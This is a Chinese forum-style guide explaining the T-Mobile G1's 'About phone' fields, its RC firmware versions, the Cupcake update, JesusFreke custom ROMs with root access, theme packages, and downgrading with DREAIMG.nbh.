首先我來解釋下關(guān)于你進(jìn)入設(shè)置后看到About phone的信息
如上圖
Status 是你手機(jī)硬件的一些規(guī)格信息,狀態(tài)信息
Legal information 是指的硬件廠商,服務(wù)廠商的信息
Contributors 貢獻(xiàn)者的一個(gè)信息列表
總之前三個(gè)沒什么用
看下面 Model number 指的你設(shè)備信息 我們用G1
所以看到的是 T—mobile G1
下面的 Firmware version
這個(gè)是固件版本
目前的所有G1基本上都是1.0的
傳說中的Cupcake好像是1.5的
Baseband version
是基礎(chǔ)板版本 這個(gè)對(duì)于我們來講沒太大認(rèn)知作用,略講
Kernel version
內(nèi)核版本
我們可以看到Jesusfreke
沒錯(cuò)就是傳說中的 JF
只是個(gè)作者信息罷了,說明了這個(gè)版本是JF的自制版
下面Build number
是固件版本
我們可以看到常見提到的 TC4-RC30
現(xiàn)在最新的是更新到了 TC4-RC33
下面講解一下經(jīng)常提到的版本RC30 RC8 RC33之類的信息
由于G1是運(yùn)營商合作的產(chǎn)物,所以現(xiàn)在分為美版和英版
美版機(jī)器從發(fā)布到現(xiàn)在分為RC19,RC28,RC29,RC30,RC31,RC33幾個(gè)版本
目前RC31,RC33只是少部分給美國用戶升級(jí)了,基本上就是做測(cè)試用的
英版從發(fā)布到現(xiàn)在RC5,RC7,RC8幾個(gè)版本
美國版本命名基本上是TC4-RCXX,而應(yīng)該版應(yīng)該是TC5-RCX
從RC29到RC30這樣的升級(jí),我們可以理解為升級(jí)小補(bǔ)丁包,官方進(jìn)行小幅度更新,彌補(bǔ)漏洞用的
關(guān)于Cupcake是什么?Cupcake和新聞的RC33哪個(gè)高的問題
Cupcake是一個(gè)代號(hào),就跟Windows vista之前代號(hào)是Longhorn是的
Cupcake應(yīng)該算是一個(gè)大的升級(jí)了,很久前就開始炒了,預(yù)定應(yīng)該月底能出來,現(xiàn)在還在測(cè),
新的功能主要包括了可以攝像,中文界面,多觸點(diǎn)等功能,比較大的升級(jí)
同時(shí)目前來說Cupcake的固件信息應(yīng)該是1.5
RC33基本上還是個(gè)小補(bǔ)丁,算過渡Cupcake的小包吧,我們可以看到固件升級(jí)到1.1,所以
RC33是小補(bǔ)丁包,Cupcake是一個(gè)大升級(jí)。
關(guān)于JFV1.31 JFV.1.41 的相關(guān)內(nèi)容
JFV全稱應(yīng)該是
Jesus freke verson
也就是這個(gè)作者做的自制固件,簡單的說他突破了官方版無法擁有ROOT權(quán)限的功能,并且解開了一些官方屏蔽的功能
比如JFV1.41支持的多觸點(diǎn)瀏覽網(wǎng)頁等。
關(guān)于主題包
目前G1所謂的擁有主題功能,其實(shí)是需要刷一個(gè)主題包,由于擁有了Auto-sign簽名程序,我們可以自己更換喜歡的圖片從而實(shí)現(xiàn)主題功能
這個(gè)刷包的話,需要根據(jù)主題制作對(duì)應(yīng)的版本,也就是說有點(diǎn)主題是JFV1.31 有的是JFV 1.41的
需要看清,當(dāng)然刷你就需要用自制固件
另外關(guān)于擔(dān)心刷壞主題這個(gè)問題
其實(shí)目前來講,刷包對(duì)于G1是很常見的,如果有興趣玩的話還是建議多看看這方面內(nèi)容,刷包很簡單,但是你最好刷前備份自己的信息資料
關(guān)于降級(jí)包
DREAIMG.nbh,這個(gè)是用來幫你降級(jí)到RC29的包,我們進(jìn)入Bootloader模式,可以用來降級(jí),其實(shí)如果你刷手機(jī)由于操作不當(dāng)?shù)戎T多情況
都可以用其來降級(jí)的,所以不必?fù)?dān)心